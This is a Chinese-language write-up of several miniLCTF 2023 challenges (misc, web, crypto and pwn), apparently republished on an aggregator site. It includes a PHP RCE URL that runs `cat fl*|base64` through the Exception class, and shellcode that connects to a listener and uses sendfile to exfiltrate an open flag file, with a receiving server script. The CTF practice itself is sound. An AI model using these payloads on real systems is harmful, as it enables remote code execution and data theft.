[mini LCTF 2023] 西电的部分

news2024/11/24 7:50:50

感觉比赛还是很不错,就是有点难了,不过都是简单题重复更没意思。作出一道来就有一点收获。

misc1

签到题也不简单,已经很久不作misc了,感觉这东西需要安的东西太多,怕机子累坏了。

一个复合的wav声音文件,切出来多半个flaSSTV和一个压缩包。声音文件看频谱有密码

 打开还是声音文件 ,用SSTV听得到图片-flag的尾吧

web1

 web也有签到,虽然不研究这个,签个到还行。

打开网页看原代码有shell.php再打开看到原码

<?php

$a = $_GET["a"];
$b = $_GET["b"];
$c = $_GET["c"];
$d = $_GET["d"];
$e = $_GET["e"];
$f = $_GET["f"];
$g = $_GET["g"];

if(preg_match("/Error|ArrayIterator|SplFileObject/i", $a)) {
    die("你今天rce不了一点");
}
if(preg_match("/php/i", $b)) {
 die("别上🐎,想捣蛋啊哥们?");
}
if(preg_match("/Error|ArrayIterator/i", $c)) {
 die("你今天rce不了一点");
}

$class = new $a($b);
$str1 = substr($class->$c(),$d,$e);
$str2 = substr($class->$c(),$f,$g);
$str1($str2);

//flag.php

?>

想了半天用哪个内置的对象,查了网上有stdClass但这东西没有方法可用,看原码上提到Error想到用Exception这个有内置方法getMessage然后system就行了

http://45.77.145.0:200/shell.php?a=Exception&b=systemcat+fl*|base64&c=getMessage&d=0&e=6&f=6&g=14

得到base64编码的flag.php然后再解码

crypto/curvesigin

 密码这块怎么没签到呢,原来签到在后边。这个题诸多坑。

from Crypto.Util.number import *
from secret import flag
import random

flag = flag.strip(b'miniLctf{').strip(b'}')
flag1 = bytes_to_long(flag[:len(flag)//2])
flag2 = bytes_to_long(flag[len(flag)//2:])

q = getPrime(80)
a,b,c = [random.randrange(1,q-1) for _ in "_what_is_this_equation_?_"][:3]

def add(P,Q):
	if P[0] != Q[0] and P[1] != Q[1]:
		t = ((Q[1]-P[1]) * inverse(Q[0]-P[0],q)) %q
	else:
		t = ((3*c*P[0]*P[0]+a) * inverse(2*b*P[1],q))%q
    
	x3 = b*inverse(c,q)*t*t - P[0] - Q[0]
	y3 = t*(P[0] - x3) - P[1]
	return (x3%q, y3%q)

def mul(t, A, B=0):
    if not t: return B
    return mul(t//2, add(A,A), B if not t&1 else add(B,A) if B else A)

G = (543964449142803087188784, 288605946000947449279542)
assert G[0] == flag1

Ps = []
ms = [random.randrange(1,q-1) for _ in "welcome_to_xxxctf2023"[:4]] + [flag2]
for m in ms:
    P = mul(m,G)
    Ps.append(P)
print(f'G = {G}\nPs = {Ps}')

'''
G = (543964449142803087188784, 288605946000947449279542)
Ps = [(615716520116903164238350, 815735349922061558569393), (256042693223413187255214, 400772499742719022770893), (620452972415969514798065, 660749148335795540667246), (118301218326000413235697, 338882909672963432813505), (793604064853039619406880, 93386361837996865025986)]
'''

就喜欢代码短的,一看就明白,这是个椭圆曲线加密最后后是求私钥,前边没给出方程,但给出斜率。

a,b,c = [random.randrange(1,q-1) for _ in "_what_is_this_equation_?_"][:3]
t = ((3*c*P[0]*P[0]+a) * inverse(2*b*P[1],q))%q

这里是第1个坑,斜率用到3个参数,题目也给出3个参数生成方法,其实方程是4个参数

b*y^{2} = c*x^{3} + a*x + d

先把b去掉

y^{2} = a*x^{3} + b*x + c

这里的d没说,因为斜率是求导得到的,常数项被导掉了。然后6个x,y求参数

由于有限域的模没给出,通过6个方程得到k*q

G = (543964449142803087188784, 288605946000947449279542)
Ps = [(615716520116903164238350, 815735349922061558569393), (256042693223413187255214, 400772499742719022770893), (620452972415969514798065, 660749148335795540667246), (118301218326000413235697, 338882909672963432813505), (793604064853039619406880, 93386361837996865025986)]
#

#1,求q
def fun5(g1,g2,g3,g4,g5,g6):
    x1,y1 = g1 
    x2,y2 = g2 
    x3,y3 = g3 
    x4,y4 = g4
    x5,y5 = g5 
    x6,y6 = g6
    A1 = (x3 - x4)*(y1**2 - y2**2) - (x1 - x2)*(y3**2 - y4**2)
    A2 = (x5 - x6)*(y1**2 - y2**2) - (x1 - x2)*(y5**2 - y6**2)
    B1 = (x1**3 - x2**3)*(x3 - x4) - (x3**3 - x4**3)*(x1 - x2)
    B2 = (x1**3 - x2**3)*(x5 - x6) - (x5**3 - x6**3)*(x1 - x2)
    
    return A1*B2 - A2*B1

v = ([G] + Ps)
kq = fun5( *v )

kq = 1659781780256202117320982411911907021129251124933071094831730558095985915900469756361610566671381121385960359097740745076076254241750071580595324136001810341690635932

因为已知q是80位,对kq分解可以得到q,不分解据说也行,可以直接用kq作模求参数

#2,对kq分解,找到q 
'''
P1 = 2
P1 = 2
P1 = 3
P1 = 7
P2 = 11
P4 = 2851
P6 = 142619
P6 = 341569
P9 = 121253203
P16 = 1364065646451691
P23 = 31026401285225228917603
P24 = 878502880971205563250537   <-----80位
P79 = 2868949361189169406203504733670610246297691354043115570120121449069654765161971
'''

#3,求参 两边都有参数,将方程左边的b除掉,看右边
q = 878502880971205563250537
C1,C2,C3,C4,C5,C6 = v 
P.<a,b,c>=PolynomialRing(Zmod(q))
f1 = a*C1[0]^3 + b*C1[0] + c - C1[1]^2 
f2 = a*C2[0]^3 + b*C2[0] + c - C2[1]^2 
f3 = a*C3[0]^3 + b*C3[0] + c - C3[1]^2 
f4 = a*C4[0]^3 + b*C4[0] + c - C4[1]^2 
f5 = a*C5[0]^3 + b*C5[0] + c - C5[1]^2 
f6 = a*C6[0]^3 + b*C6[0] + c - C6[1]^2 

F = [f1,f2,f3,f4,f5,f6]
Ideal = Ideal(F)
I = Ideal.groebner_basis()
print(I)
#[a + 662963051503062411245929, b + 405447704422414394053669, c + 189827742241355283851865]
a,b,c = -662963051503062411245929%q,-405447704422414394053669%q,-189827742241355283851865%q
#a,b,c = (215539829468143152004608, 473055176548791169196868, 688675138729850279398672)

然后这里的第2个坑,这个方程不是标准的椭圆方程形式,x项有参数,先将a取3次方根k,用kx代码x,对x轴进行缩放得到标准方程。

#4,对x轴向缩放,转换成标准方程
#4.1 令x = kx ,k^3 = a 求k
P.<x> = PolynomialRing(GF(q))  #
f = x^3 - a 
f.roots()
#[(430117650226655400246319, 1), (420974725922346296990896, 1), (27410504822203866013322, 1)]
k = 27410504822203866013322

#y^2 = (kx)^3 + A*kx + B 
A = b*pow(k,-1,q) 
B = c
x = G[0]*k%q
y = G[1]

#点G,m*G缩放后放入方程
E = EllipticCurve(GF(q), [A, B])
P = E(G[0]*k%q,G[1])
Q = E(Ps[-1][0]*k%q, Ps[-1][1])

然后这里因为q很小,可以直接求对数,不过出来的结果不正确。问了别人说可能m比order大,这里这rsa有点相似,rsa是加p-1,这里是加order不过这个方程本身多解,order也不是最简的,将order分解,最接近的就是1/2 order,用order/2爆破

#5,求私钥
m = discrete_log(Q, P, operation='+') 
m 
long_to_bytes(int(m))

#6, 估计这个G是曲线某个循环子群的生成元,阶是order的某个因子
#E.order() 878502880972065193795276
v = E.order()//2
for i in range(100):
    long_to_bytes(m+i*v)

'''
b"\x10l\x97+'2\xfe\x82\xa2\n"
b'mput3__d1p'

miniLctf{s0_3@5y_c0mput3__d1p}
'''

crypto/guess

突然后边这个如此简单。

from secret import flag
from functools import reduce
from Crypto.Util.number import getPrime
from hashlib import sha256
import socketserver
import signal
import string 
import random
import gmpy2

N_SIZE=52
MOD_SIZE=50

def dec2blist(decimal, length):
    """
    Converts an integer to a binary list of a specified length, filling zeros on the left if necessary.
    """
    bitlist = []
    while decimal > 0:
        bit = decimal % 2
        bitlist.append(bit)
        decimal //= 2
    bitlist.reverse()
    if len(bitlist) < length:
        bitlist = [0] * (length - len(bitlist)) + bitlist
    return bitlist

def generate_prime_list(listlen:int,q:int):
    primes = []
    while len(primes) < listlen:
        n = random.randint(2, q-1)
        if gmpy2.is_prime(n):
            primes.append(n)
    return primes

def verify(prime_list,key,q,product):
    choice=dec2blist(key,len(prime_list))
    elements = [prime_list[i] for i in range(len(prime_list)) if choice[i]]
    newproduct = reduce((lambda x, y: x * y % q), elements)
    return product==newproduct

def product_mod_q(prime_list,q):
    l=len(prime_list)
    elements = random.sample(prime_list,random.randint(l//2,l))  #随机取n个
    product = reduce((lambda x, y: x * y % q), elements)
    return product

class Task(socketserver.BaseRequestHandler):
    def _recvall(self):
        BUFF_SIZE = 2048
        data = b''
        while True:
            part = self.request.recv(BUFF_SIZE)
            data += part
            if len(part) < BUFF_SIZE:
                break
        return data.strip()

    def send(self, msg, newline=True):
        try:
            if newline:
                msg += b'\n'
            self.request.sendall(msg)
        except:
            pass

    def recv(self, prompt=b'[-] '):
        self.send(prompt, newline=False)
        return self._recvall()

    def proof_of_work(self):
        table = string.ascii_letters+string.digits
        proof = (''.join([random.choice(table)for _ in range(20)])).encode()
        sha = sha256(proof).hexdigest().encode()
        self.send(b"[+] sha256(XXXX+" + proof[4:] + b") == " + sha )
        XXXX = self.recv(prompt = b'[+] Plz Tell Me XXXX :')
        if len(XXXX) != 4 or sha256(XXXX + proof[4:]).hexdigest().encode() != sha:
            return False
        return True

    def handle(self):
        signal.alarm(233)

        self.send(b"Welcome to Gauss Frenzy! You need to complete the Proof of work first!")
        proof = self.proof_of_work()
        if not proof:
            self.request.close()
        
        q=getPrime(MOD_SIZE)   #50
        prime_list=generate_prime_list(N_SIZE,q)  #52个<q-1 素数

        self.send(b"Alice have some primes:\n"+str(prime_list).encode()+b"\n")
        
        product=product_mod_q(prime_list,q) #
        self.send(f"She picks some and multiplies them ,then mod {q} ,the product is {product}".encode())

        self.send(b"You should guess Alice's choice as the key to get the flag!\n")
        
        for _ in range(5):
            try:
                key=int(self.recv(b"[-] key=\n").decode())
            except Exception as e:
                self.send(str(e).encode())

            if(verify(prime_list,key,q,product)):
                self.send(f"Congratulations! Here's the flag for you \n{flag}".encode())
                self.request.close()
            else:
                self.send("Nope! Try again!".encode())

        self.send("Bye!")

class ThreadedServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
    pass

class ForkedServer(socketserver.ForkingMixIn, socketserver.TCPServer):
    pass

if __name__ == "__main__":
    HOST, PORT = '0.0.0.0', 10001
    server = ForkedServer((HOST, PORT), Task)
    server.allow_reuse_address = True
    print(HOST, PORT)
    server.serve_forever()

感觉可以秒,但我来得太晚了,看到群里好多人说比赛才来,晚了一天。

题目看上去是个乘法背包问题,不过背包问题这个没有解法。

先后成52个大点的数,然后任选26-52个乘再取模,只要回复用的哪些数就行了,这个规划26以上是不可爆破的,不过反过来看如果用除法,先把所有数都乘一起再去数规模就不大了,这是个随机数,很大可能会非常靠近52,如果是48就可以秒出。所以用程序爆破,等到一个数很大的情况就OK了,由于比赛链接程序不劫持win7,所以虚机下不能作太大,最大爆破到5个数。

from pwn import *
from hashlib import sha256
from itertools import product 
from functools import reduce
import string 
from gmpy2 import invert 

def proof_of_work_2(suffix, hash): # sha256, suffix, known_hash
    table = string.digits + string.ascii_letters
    def judge(x): return sha256( x.encode()+suffix).digest().hex() == hash
    return util.iters.bruteforce(judge, table,length=4, method = 'fixed')


def conn():
    p = remote('127.0.0.1', 42837)
    
    #proof 
    #[+] sha256(XXXX+sA2ln63bJoakKsCH) == 703412e7644621fdc24f2a867503b12b1962098138734efcdfa492e8a0aa9ff3
    p.recvuntil(b"[+] sha256(XXXX+")
    tail = p.recvuntil(b') == ', drop=True)
    s256 = p.recvline().strip().decode()
    print(tail, s256)
    head = proof_of_work_2(tail, s256)
    p.sendlineafter(b'[+] Plz Tell Me XXXX :', head.encode())
    return p

def get_list():
    ra = [invert(v,q) for v in a]  #
    pro = 1
    for v in a:
        pro = pro*v%q 
    
    queue = {pro:[]}   #{value:[selected],...}

    for i in range(5):
        tmpque = {}
        for v in queue:
            for j in range(52):
                tv = v*ra[j]%q 
                used = queue[v]+[j]
                if tv == tag:
                    print(v,tv,used,queue[v])
                    return used
                tmpque[tv]= used
        queue = tmpque 
    return []

while True:
    p = conn()
    #get arg 
    p.recvuntil(b"Alice have some primes:\n")
    a = eval(p.recvline())
    
    p.recvuntil(b"She picks some and multiplies them ,then mod ")
    q = int(p.recvuntil(b" ,the product is ", drop=True))

    tag = int(p.recvline())
    print(f"{a = }\n{q = }\n{tag = }")

    ok = get_list()

    if ok == []:
        print('Too small, I need least 46')
        p.close()
        continue
    
    nok = int(''.join(['1' if i not in ok else '0' for i in range(52)]),2)
    print('product:',nok)

    p.sendlineafter(b"[-] key=\n", str(nok).encode())

    print(p.recvline())

    p.interactive()

'''
[*] Closed connection to 127.0.0.1 port 42837
[+] Opening connection to 127.0.0.1 on port 42837: Done
b'yUsiSbqI3CEkYDHQ' 6f4524747484866eddcc1d604703dcb12c543ec33256401cad151178967a2ebd
[+] Bruteforcing: Found key: "SYxS"
a = [692499566575429, 134409149748749, 653932750798099, 568575041179157, 417668664450083, 164345418891391, 315948694001401, 823878428502929, 355457066169631, 437549476740659, 574669373467697, 491164490580073, 900552220077271, 431433715245179, 820501600382939, 798872425216751, 284934127998571, 173026900187737, 913424022312407, 457769412178997, 352853959269067, 156247212471079, 728813442004363, 759954178481447, 85237894329787, 235453629681799, 769348518710293, 328880426484053, 113124598931221, 96587581662709, 193038793331903, 712655061930013, 867402730060049, 528836472166031, 256841059695403, 170909563018349, 186848057458607, 172285989871343, 421214319576881, 21590091037003, 784142317402777, 263674901435663, 715076995877687, 772147525631093, 547771349394097, 543719454650789, 7388868411101, 528418675320617, 114136387374553, 785217883772339, 507155426971961, 579007431282431]
q = 930809387620663
tag = 334916561117582
625299989058834 334916561117582 [35, 26, 4, 1, 41] [35, 26, 4, 1]
product: 3236962198551551
b"Congratulations! Here's the flag for you \n"
[*] Switching to interactive mode
b'miniL{C0ngr4tu1atio5!U_D0_KnOw_b4ckpacK!!!}'
'''

crypto/giveway

这个也很长,不过仔细看很简单,生成个大矩阵,然后用 flag乘给出结果,如果矩阵够大的话,直接可解,可问题是不够大。不过两次运行flag不变,所以干两次就够大了。来晚了

from secret import message
from functools import reduce
from hashlib import sha256
from Crypto.Util.number import bytes_to_long
import socketserver
import signal
import string 
import random

def dec2blist(decimal, length):
    """
    Converts an integer to a binary list of a specified length, filling zeros on the left if necessary.
    """
    bitlist = []
    while decimal > 0:
        bit = decimal % 2
        bitlist.append(bit)
        decimal //= 2
    bitlist.reverse()
    if len(bitlist) < length:
        bitlist = [0] * (length - len(bitlist)) + bitlist
    return bitlist

def bake(list1,list2):
    return reduce((lambda x,y: x ^ y) , list(map(lambda x, y: x and y, list1, list2)) )

def send_a_chocolate(self):
    assert len(bin(bytes_to_long(message)))-2==511
    dough=bytes_to_long(message)
    chocolate_jam=random.getrandbits(512)
    cookie=bake(dec2blist(dough, 512), dec2blist(chocolate_jam,512))
    self.send(f"[+] The lucky sticker reads ({cookie},{hex(chocolate_jam)}). Yummy!\n".encode())


class Task(socketserver.BaseRequestHandler):
    def _recvall(self):
        BUFF_SIZE = 2048
        data = b''
        while True:
            part = self.request.recv(BUFF_SIZE)
            data += part
            if len(part) < BUFF_SIZE:
                break
        return data.strip()

    def send(self, msg, newline=True):
        try:
            if newline:
                msg += b'\n'
            self.request.sendall(msg)
        except:
            pass

    def recv(self, prompt=b'[-] '):
        self.send(prompt, newline=False)
        return self._recvall()

    def proof_of_work(self):
        table = string.ascii_letters+string.digits
        proof = (''.join([random.choice(table)for _ in range(20)])).encode()
        sha = sha256(proof).hexdigest().encode()
        self.send(b"[+] sha256(XXXX+" + proof[4:] + b") == " + sha )
        XXXX = self.recv(prompt = b'[+] Plz Tell Me XXXX :')
        if len(XXXX) != 4 or sha256(XXXX + proof[4:]).hexdigest().encode() != sha:
            return False
        return True

    def sendmenu(self,coins):
        self.send(f"[+] Welcome to Flag Vending Machine! You have {coins} coins available. \
Please press the number to make your choice!\n[1] Buy a chocolate cookie\n[2] Top-up silver coins \n[3] Exit\n".encode())

    def handle(self):
        signal.alarm(233)

        coins=random.randint(503,508)#Well ... Easy mode

        self.send(b"Chocolate Fortune Cookie For Sale! You need to complete the Proof of work first!")
        proof = self.proof_of_work()
        if not proof:
            self.request.close()
        
        while(coins):
            self.sendmenu(coins)
            try:
                choice=int(self.recv().decode())
            except Exception as e:
                self.send(str(e).encode())
                continue

            if (choice == 1 and coins > 0):
                coins -= 1
                send_a_chocolate(self)
            elif (choice == 2):
                self.send(b"[+] Error: The service is currently unavailable, please try again later :(\n")
            elif (choice == 3):
                self.send(b"[+] Bye!\n")
                self.request.close()
            else:
                self.send(b"[+] Please send 1/2/3 to make your choice!\n")

        self.send(b"[+] Looks like you\'re out of coins... See you next time! Good luck!\n")
        self.request.close()

class ThreadedServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
    pass

class ForkedServer(socketserver.ForkingMixIn, socketserver.TCPServer):
    pass

if __name__ == "__main__":
    HOST, PORT = '0.0.0.0', 10007
    server = ForkedServer((HOST, PORT), Task)
    server.allow_reuse_address = True
    print(HOST, PORT)
    server.serve_forever()

第1步先取数,虽然有proof但挡不住我取两次。

from pwn import *
from hashlib import sha256
from itertools import product 
import string 
from gmpy2 import invert 


p = remote('127.0.0.1', 25890)
#context.log_level = 'debug'

#proof 
#[+] sha256(XXXX+sA2ln63bJoakKsCH) == 703412e7644621fdc24f2a867503b12b1962098138734efcdfa492e8a0aa9ff3
p.recvuntil(b"[+] sha256(XXXX+")
tail = p.recvuntil(b') == ', drop=True)
s256 = p.recvline().strip().decode()
print(tail, s256)

def proof_of_work_2(suffix, hash): # sha256, suffix, known_hash
    table = string.digits + string.ascii_letters
    def judge(x): return sha256( x.encode()+suffix).digest().hex() == hash
    return util.iters.bruteforce(judge, table,length=4, method = 'fixed')

head = proof_of_work_2(tail, s256)
p.sendlineafter(b'[+] Plz Tell Me XXXX :', head.encode())

#get 
#[+] The lucky sticker reads (0,0x4968e21f1625271295d2137bbfa872cbe94e374e82987a2e76d063f424f695738a86034abba35534911d72b3f5eb31153b62ad291c1f2199c054b21388edd239). Yummy!\n
for i in range(508):
    p.sendlineafter(b'[-] ', b'1')
    ret = p.recvline()
    if ret == b"[+] Please send 1/2/3 to make your choice!\n":
        break 

    coo,jam = eval(ret[28:-9])
    print(coo,jam)

    

然后矩阵除

data = [..此处略去1000行..]
B = matrix(GF(2), 512, 1009)
for i in range(len(data)):
    v = bin(data[i][1])[2:].rjust(512,'0')
    for j in range(512):
        B[j,i] = int(v[j],2) 

C = vector(GF(2), [data[i][0] for i in range(len(data))])

A = B.solve_left(C)
v = ''.join(['0' if i==0 else '1' for i in A])
bytes.fromhex(hex(int(v,2))[2:])
#b'miniL{We1c0me_TO_M1niL2o23_Crypt0!} Enjoy the challenges ahead! '

后边几个等wp了。题很好就是会得少。最后1分钟交了个调查问卷终于进前10了。最后一条线,但是大佬的名字都太长了就显示不下小的了

pwn/ez_shellcode

 赛完10分钟,问了一下,终于解决了。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int length; // [rsp+4h] [rbp-Ch]
  char *oo0Oo; // [rsp+8h] [rbp-8h]

  OooO0OOo();
  puts("Welcome to MiniL2023!!! Enjoy~");
  puts("Well, Let's play a game to warm up!");
  oo0Oo = (char *)mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
  memset(oo0Oo, 144, 0x1000uLL);
  length = read(0, ooooo0ooo0o, 0x40uLL);
  memcpy(oo0Oo, &unk_20E8, 0x30uLL);
  memcpy(oo0Oo + 48, ooooo0ooo0o, length);
  if ( o0o0o000o() )
    ((void (*)(void))oo0Oo)();
  return 0;
}
int __cdecl o0o0o000o()
{
  int fd1; // [rsp+8h] [rbp-828h]
  int fd2; // [rsp+Ch] [rbp-824h]
  char buf2[1024]; // [rsp+20h] [rbp-810h] BYREF
  char buf1[1024]; // [rsp+420h] [rbp-410h] BYREF
  unsigned __int64 v5; // [rsp+828h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  puts("I'll make sure flag is ready.");
  fd1 = open("flag1", 0);
  if ( fd1 >= 0 )
  {
    if ( read(fd1, buf2, 0x400uLL) > 0 )
    {
      fd2 = open("flag2", 0);
      if ( fd2 >= 0 )
      {
        if ( read(fd2, buf1, 0x400uLL) > 0 )
        {
          puts("Well, flag is ready.");
          close(fd1);
          close(fd1);                           // fd2未关闭
          memset(buf1, 0, sizeof(buf1));
          memset(buf1, 0, sizeof(buf1));
          close_seccomp();
          return 1;
        }
        else
        {
          puts("flag2 file is empty");
          return 0;
        }
      }
      else
      {
        puts("flag2 file doesn't exit");
        return 0;
      }
    }
    else
    {
      puts("flag1 file is empty");
      return 0;
    }
  }
  else
  {
    puts("flag1 file doesn't exit");
    return 0;
  }
}

题目很明了,先读入shellcode到mmap生成的rwx段,然后去执行。flag文件打开,flag2忘关掉,shellcode最长0x40,之前会关掉input,output,error,把除rip以外的寄存器清0,并仅保留socket,connect,sendfile 三个syscall。显然是socket,connect,sendfile,只是sendfile这块一直没成功。

shellcode分4块

第1块获取地址,代码如果用shellcraft生成会很长,这个都得手工写

lea rsp,[rip]+0x8f9; /* rbp = mmap+0x30+0x40 rip:0x37*/

第2块socket,不需要变的全省略

push rax
mov rax, 0x0100007f6c1e0002   /* sockaddr */
push rax

/* int socket(int domain, int type, int protocol); */
/* socket(AF_INET,SOCK_STREAM,0) */
/*cdq  rdx=0 */
mov dil,2
inc esi
push 0x29
pop rax
syscall 

第3块connect

/* int connect(int sockfd, struct sockaddr *serv_addr, int addrlen); */
/*connect(socket_fd,rbp,0x10)  +0x70, +0x68:port:ip */
xor rdi,rdi
push rsp
pop rsi
mov dl,0x10
mov al, 0x2a
syscall 

 第4块sendfile (这里rdx需要指向0,而不是置0,就差这了,一直没成功)

/* ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count); */
push 4
pop rsi
push rsp
pop rdx
add rdx,8
push 0x50
pop r10
mov al,0x28
syscall

最后就发送就行了(这些都是本地调试的,真打应该找个有公网IP的机子,整个server收flag)

pay = asm(shellcode).ljust(0x40, b'\x90')
p = process('./main')
#p = remote('pwn.blackbird.wang', 9550)
#gdb.attach(p, "b*0x0000555555555642\nc")
#pause()
p.sendafter(b'up!\n', pay)
p.recvline()
p.recvline()
pause()

server.py

import socket

tcp_server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
address = ('127.0.0.1', 7788)
tcp_server_socket.bind(address)
tcp_server_socket.listen(128)
client_socket, clientAddr = tcp_server_socket.accept()
print('connted',clientAddr)
recv_data = client_socket.recv(1024)
print('接收到的数据为:', recv_data)
client_socket.close()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/499857.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Android入门到项目实战-- 8.5】—— 使用HTTP协议访问网络的实践用法

目录 准备工作 一、创建HttpUtil类 二、调用使用 一个应用程序可能多次使用到网络功能&#xff0c;这样就会大量代码重复&#xff0c;通常情况下我们应该将这些通用的网络操作封装到一个类里&#xff0c;并提供一个静态方法&#xff0c;想要发送网络请求的时候&#xff0c;只…

【c语言】字符串匹配(搜索) | API仿真

c语言系列专栏&#xff1a;c语言之路重点知识整合 字符串知识点&#xff1a;字符串基本概念、存储原理 字符串匹配 目录 一、字符串匹配二、strstr仿真声明&#xff1a;指针方式定义&#xff1a;调用测试&#xff1a;运行结果&#xff1a; 一、字符串匹配 字符串匹配是对一个…

HttpClient连接池使用不当问题分析解决

目录 背景代码实现工具类功能实现模拟使用 问题分析与定位解决方案总结 背景 最近遇到一个HttpClient问题&#xff0c;某个接口一直报404错误。该接口使用HttpClient调用其他服务获取数据&#xff0c;为了提高接口调用性能&#xff0c;利用httpclient池化技术来保证请求的数量…

嵌入式中利用软件实现定时器的两种方法分析

目录 第一&#xff1a;简介 第二&#xff1a;链表实现方式 第三&#xff1a;结构体实现方式 第一&#xff1a;简介 在一般的嵌入式产品设计中&#xff0c;介于成本、功耗等&#xff0c;所选型的MCU基本都是资源受限的&#xff0c;而里面的定时器的数量更是有限。在我们软件…

Origin如何绘制基础图形?

文章目录 0.引言1.绘图操作2.图形设置3.图形标注 0.引言 因科研等多场景需要绘制专业的图表&#xff0c;笔者对Origin进行了学习&#xff0c;本文通过《Origin 2022科学绘图与数据》及其配套素材结合网上相关资料进行学习笔记总结&#xff0c;本文对绘制基础图形进行阐述。 1.…

2023.5.7 第五十二次周报

目录 前言 文献阅读&#xff1a;基于BO-EMD-LSTM模型预测教室长期二氧化碳浓度 背景 思路 BO-EMD-LSTM 混合模型 EMD 算法 与其他模型的比较 结论 论文代码 总结 前言 This week, I studied an article that uses LSTM to predict gas concentration.This study wa…

Springboot +Flowable,按角色分配任务

一.简介 在为 UserTask 设置处理人的时候&#xff0c;除了设置单个的处理人&#xff0c;也可以设置 Group&#xff08;分组&#xff09;&#xff0c;就是某一个用户组内的所有用户都可以处理该 Task。 二.绘制流程图 首先我们还是使用之前旧的流程图&#xff0c;流程图截图如…

从0学Spring Boot框架(Spring Boot配置文件与Spring Boot日志文件)

文章目录 1. 什么是Spring Boot&#xff1f;2. 如何创建Spring Boot项目&#xff1f;3. 验证Spring Boot项目的创建3.1 补充添加依赖3.2 代码示例 4. Spring Boot配置文件4.1 配置文件的作用4.2 配置文件的格式4.2.1 properties的语法4.2.2 yml的语法4.2.3 properties与yml的对…

想把PDF转成Word?这三个免费在线工具不容错过!

在日常工作和学习中&#xff0c;我们经常会遇到需要将PDF文件转为Word文档的情况。本文将介绍三种不同的PDF转Word的方法。 首先是推荐的PDF转Word网站&#xff1a;记灵在线工具&#xff08;http://remeins.com)。 这是一个功能非常强大的PDF在线处理网站&#xff0c;可以完全…

CNI_02_Flannel 跨主机通信Overlay Network三种实现

文章目录 一、前言二、跨主机网络三、UDP模式四、VXLAN模式4.1 VXLAN完全在内核态中构建Overlay Netwok覆盖网络4.2 VXLAN模式整个流程步骤1&#xff1a;网络请求从容器到宿主机步骤2&#xff1a;根据目的容器IP在Node1宿主机上找到正确的route路由步骤3&#xff1a;构建内部数…

深度学习实战项目(一)-基于cnn和opencv的车牌号识别

深度学习实战项目(一)-基于cnn和opencv的车牌号识别 网上大部分是关于tensorflow&#xff0c;使用pytorch的比较少&#xff0c;本文也在之前大佬写的代码的基础上&#xff0c;进行了数据集的完善&#xff0c;和代码的优化&#xff0c;效果可比之前好一点。 数据集 数据集来自…

AutoCV:Python基础总结

目录 Python基础总结前言Python基础课程总结第一课&#xff1a;开发环境和基本数据类型第二课&#xff1a;控制流程和函数第三课&#xff1a;闭包和根号2的求解第四课&#xff1a;类和三大神器第五课&#xff1a;文件IO和pickle、json第六课&#xff1a;作用域、模块和包、Data…

IDM下载器|Windows系统经典下载工具idm6.41|IDM如何在线视频下载工具 |下载视频教程

IDM全称Internet Download Manager,是一种将下载速度提高最多5倍的专业下载工具,支持大部分文件格式下载和基本所有的下载链接,无视网址本身下载限速,直接达到电脑该有的网速。 下载更快更可靠 下载INTERNET DOWNLOAD MANAGER(IDM下载器)开始您的极速下载旅程&#xff0c;永远…

鲲志说 我的创作纪念日(2023-05-07)

目录 前言有时候缘分就是这么巧&#xff01;努力终会有所获日常规划成就憧憬 前言 今天是个特殊的日子&#xff0c;是我成为创作者的第2048天。但不仅仅是因此今天才特殊&#xff0c;更重要的是因为你&#xff0c;今天才特殊&#xff0c;值得纪念。不管前路如何&#xff0c;积…

微信小程序开发19__第三方UI组件Vant Weapp的应用

为了提高小程序的开发效率&#xff0c; 可以考虑使用第三方 UI 组件来实现界面的视觉统一。 本文以有赞第三方 UI 组件库 Vant Weapp 为例&#xff0c;介绍如何使用自定义组件 实现一个小程序。 Vant Weapp 是一款轻量、 可靠的小程序UI组件库&#xff0c; 与有赞移动端组…

数字图像处理-绪论

数字图像处理-绪论 文章目录 前言一、闲谈二、什么是数字图像处理&#xff1f;2.1. 什么是数字图像&#xff1f;2.1.1. 可见光图像2.1.2. 不可见光图像 2.2. 什么是数字图像处理&#xff1f; 三、数字图像处理的前世今生3.1. 数字图像处理的前世3.2. 数字图像处理的今生 四、数…

计网笔记 01 概述 计算机网络体系结构、参考模型

文章目录 前言1、计网概述1.1 概念、组成、功能、分类1.1.1 概念1.1.2 计网组成1.1.2 计网分类 1.2 标准化工作及相关组织1.2.1 标准的分类 1.3 性能指标★★★1.3.1 速率相关性能指标1.3.2 时延相关指标 2、体系结构&参考模型★★★★★&#xff08;对应王道视频7-10p 相当…

【MySQL学习】MySQL 内置函数

文章目录 一、日期函数二、字符串函数三、数学函数四、其他函数 一、日期函数 函数名称功能描述current_data()获取当前日期current_time()获取当前时间current_timestamp()获取当前时间戳date()返回datetime的日期部分date_add(date, interval d_value_type)以date为基础&…

【2023/05/07】汇编语言

Hello&#xff01;大家好&#xff0c;我是霜淮子&#xff0c;2023倒计时第2天。 Share Stray birds of summer come to my window to sing and fly away. And yellow leaves of autumn,which have no songs,flutter and full there with a sigh. 译文&#xff1a; 夏天的鸟&…

网络学习笔记

【1】路由器与交换机的区别与联系 https://blog.csdn.net/baidu_32045201/article/details/78305586 交换机&#xff1a;用于局域网内网的数据转发 路由器&#xff1a;用于连接局域网和外网 【2】IP地址 1&#xff09;IP地址是Internet中主机的标识 2&#xff09;Internet中…